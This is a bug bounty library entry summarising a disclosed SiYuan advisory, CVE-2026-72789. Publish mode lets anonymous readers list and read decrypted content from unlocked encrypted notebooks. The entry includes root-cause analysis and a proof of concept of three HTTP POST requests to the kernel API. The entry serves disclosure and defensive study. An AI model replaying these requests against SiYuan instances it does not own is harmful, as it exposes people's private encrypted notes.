# SiYuan: The publish-access gate treats encrypted notebooks as publicly accessible by default, allowing anonymous readers to retrieve fully decrypted document content while a notebook is unlocked

SiYuan's publish gate defaults to accessible and never lists encrypted notebooks, so anonymous publish readers can list and read fully decrypted documents while a notebook is unlocked.

- Payout: Research
- Severity: high
- Program: SiYuan
- Found by: shirshakopencti
- Disclosed: 2026-09-08
- CVE: CVE-2026-72789
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v684-q882-jgmq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v684-q882-jgmq
- Tags: area:web domain:oss domain:web impact:data-leak kind:research platform:ghsa sev:high tech:go technique:default-creds technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** SiYuan kernel publish-mode API (lsNotebooks, listDocsByPath, getDoc, getBlockKramdown)
**Root cause:** CheckPathAccessableByPublishIgnore is an opt-out list returning true for anything unlisted, and the encryption subsystem never writes encrypted notebooks into publishAccess.json; the publish authorization layer has no concept of an encrypted notebook.
**Steps:**
1. Enable publish mode (default port 6808); anonymous if Publish.Auth.Enable is false, else use any publish reader account. Ensure an encrypted notebook is currently unlocked by the legitimate user.
2. `POST http://127.0.0.1:6808/api/notebook/lsNotebooks` with `{}` — response includes the encrypted notebook with `encrypted: true` and its id.
3. `POST http://127.0.0.1:6808/api/filetree/listDocsByPath` with `{"notebook":"<encrypted box id>","path":"/"}` — returns document ids and titles from inside the encrypted notebook.
4. `POST http://127.0.0.1:6808/api/filetree/getDoc` with `{"id":"<document id from step 2>"}` — returns the fully decrypted document; `getBlockKramdown` yields the same as decrypted Markdown.
5. Repeat step 3 while the notebook is locked: returns not-found, confirming the unlock window is the only barrier.
**How found:** Code reading of the publish authorization layer: noticed CheckPathAccessableByPublishIgnore returns true by default (opt-out list), then checked who writes publishAccess.json and found only the admin-gated setPublishAccess — nothing in crypto.go, encrypted_ops.go or notebook_crypto.go. Confirmed IsEncryptedBox is absent from kernel/model/publish_access.go, so both gate terms (unlisted visibility, vacuous password) evaluate true for encrypted notebooks.
**Exploitation:** Unauthenticated (or any publish reader) attacker calls lsNotebooks to obtain the encrypted notebook id, listDocsByPath to enumerate documents, then getDoc/getBlockKramdown to read plaintext. No key material, password or cracking needed; the kernel decrypts and serves content because the gate never checks encryption. Exposure is bounded to the window in which the legitimate user has the notebook unlocked.
**Insight:** When an authorization list is opt-out (default-allow), enumerate every content class or storage backend that can create objects without going through the writer of that list — encrypted notebooks here — and check whether the gate's other term (password/cookie) is vacuous for that class. Also test whether the protected state (locked) is the only thing gating access, since that bounds exposure to the legitimate user's active session.

## Proof of concept (copied exactly from the original report)

**Anonymous lsNotebooks request exposing encrypted notebook**

```
POST http://127.0.0.1:6808/api/notebook/lsNotebooks
{}

→ 200. The list includes the encrypted notebook, with encrypted: true and its id.
```

**Anonymous listDocsByPath on encrypted notebook**

```
POST http://127.0.0.1:6808/api/filetree/listDocsByPath
{"notebook":"<encrypted box id>","path":"/"}

→ 200, document identifiers and titles from inside the encrypted notebook
```

**Anonymous getDoc returning decrypted content**

```
POST http://127.0.0.1:6808/api/filetree/getDoc
{"id":"<document id from step 2>"}

→ 200, the fully decrypted document
```

